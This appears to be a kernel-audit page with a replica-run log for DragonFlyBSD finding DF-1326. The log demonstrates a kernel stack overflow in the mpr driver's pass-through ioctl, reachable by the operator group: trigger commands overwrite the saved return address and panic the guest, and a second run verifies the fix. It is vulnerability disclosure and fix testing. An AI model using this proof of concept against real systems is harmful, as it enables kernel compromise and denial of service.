⬢ DragonFlyBSD Kernel Audit
DF-1326 / replica_run.log
← back to finding ↓ download raw
DF-1326 pass-2 replica run log — kernel-module replica of mpr_user_pass_thru() prologue
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC (no mpr hardware: /dev/mpr* absent)

=== RUN 1 (vulnerable replica) ==============================================
# kldload /root/df1326/df1326.ko
df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1))
# ls -l /dev/df1326
crw-r-----  1 root  operator   32, 0x00000000 /dev/df1326      <- same 0640 root:operator as make_dev() at mpr_user.c:205
# su operator -c /home/maxx/df1326/trigger          # RequestSize=96 (== reqframesz)
ioctl MPTIOCTL_PASS_THRU RequestSize=96 rc=0 errno=0
df1326: enter  reqframesz=128 RequestSize=96 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff80118ad36bc saved_rip_slot=0xfffff80118ad3740 (offset 132 bytes)
df1326: copyin returned 0 -- 84 bytes landed past the 12-byte tmphdr
df1326: saved RIP slot out of reach for this size (offset 132)
df1326: 10-byte aligned attacker-pattern spans observed out-of-band
df1326: RequestSize 96 PASSED the (post-copyin) bounds check too
df1326: prologue complete (dead-code checksum 69)
    -> uid=2 (operator) opened the 0640 root:operator node O_RDONLY and
       reached the ioctl: THE PRIVILEGE BOUNDARY CROSSING. 96 bytes = a size
       that even PASSES the post-hoc reqframesz check smashes 84 bytes past
       the 12-byte header with 10 aligned 8-byte fully-attacker-controlled
       values.

# su operator -c "/home/maxx/df1326/trigger 4096"    # RequestSize=4096
df1326: enter  reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff801187e76bc saved_rip_slot=0xfffff801187e7740 (offset 132 bytes)
df1326: copyin returned 0 -- 4084 bytes landed past the 12-byte tmphdr
df1326: SAVED RIP SLOT OVERWRITTEN: was 0xffffffff8062cdb5 now 0x4546474841424344 (attacker-controlled: YES)
df1326: (restored; the real driver would return through the attacker value)
df1326: 508-byte aligned attacker-pattern spans observed out-of-band
    -> saved return address slot contains the EXACT 8-byte attacker value
       (0x4142434445464748, LE). The replica restores its own slot to keep
       running, but 4084 bytes were already copied through every caller
       frame above (dev_dioctl / syscall path):

--- console (panic.txt / panic2.txt) ----------------------------------------
Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer	= 0x8:0xffffffff8062cdbb
stack pointer	        = 0x10:0xfffff801187e77b0
frame pointer	        = 0x10:0x4546474841424344     <- ATTACKER TAG in saved RBP of caller
current process		= 1224
kernel: type 9 trap, code=0
Stopped at      dev_dioctl+0x6b:        ret                        <- caller's ret consumed smashed frames
db>
    -> guest panicked (twice, identical signature; ssh died; vm.sh status => down).
       IMPACT ON GUEST: kernel panic via attacker-controlled kernel-stack
       smash, from a member of group operator, using the real copyin().

=== RUN 2 (FIXED replica: fix.diff mechanism applied: bounds check BEFORE
           copyin + copyin limited to sizeof(tmphdr)) ========================
# make -f Makefile.fixed ...; kldload df1326.ko
df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1))
# su operator -c /home/maxx/df1326/trigger            # RequestSize=96
ioctl MPTIOCTL_PASS_THRU RequestSize=96 rc=0 errno=0
df1326: ... RequestSize=96 ...
df1326: 0-byte aligned attacker-pattern spans observed out-of-band   <- ZERO attacker bytes OOB
df1326: prologue complete (dead-code checksum 69)
# su operator -c "/home/maxx/df1326/trigger 4096"     # RequestSize=4096
ioctl MPTIOCTL_PASS_THRU RequestSize=4096 rc=-1 errno=22            <- EINVAL BEFORE any copyin
df1326: enter  reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12
df1326: &tmphdr=... (then returns EINVAL; no copyin prints)
# uptime
 1:23PM  up 2 mins, ... load averages: 0.06 ...                       <- guest healthy, no panic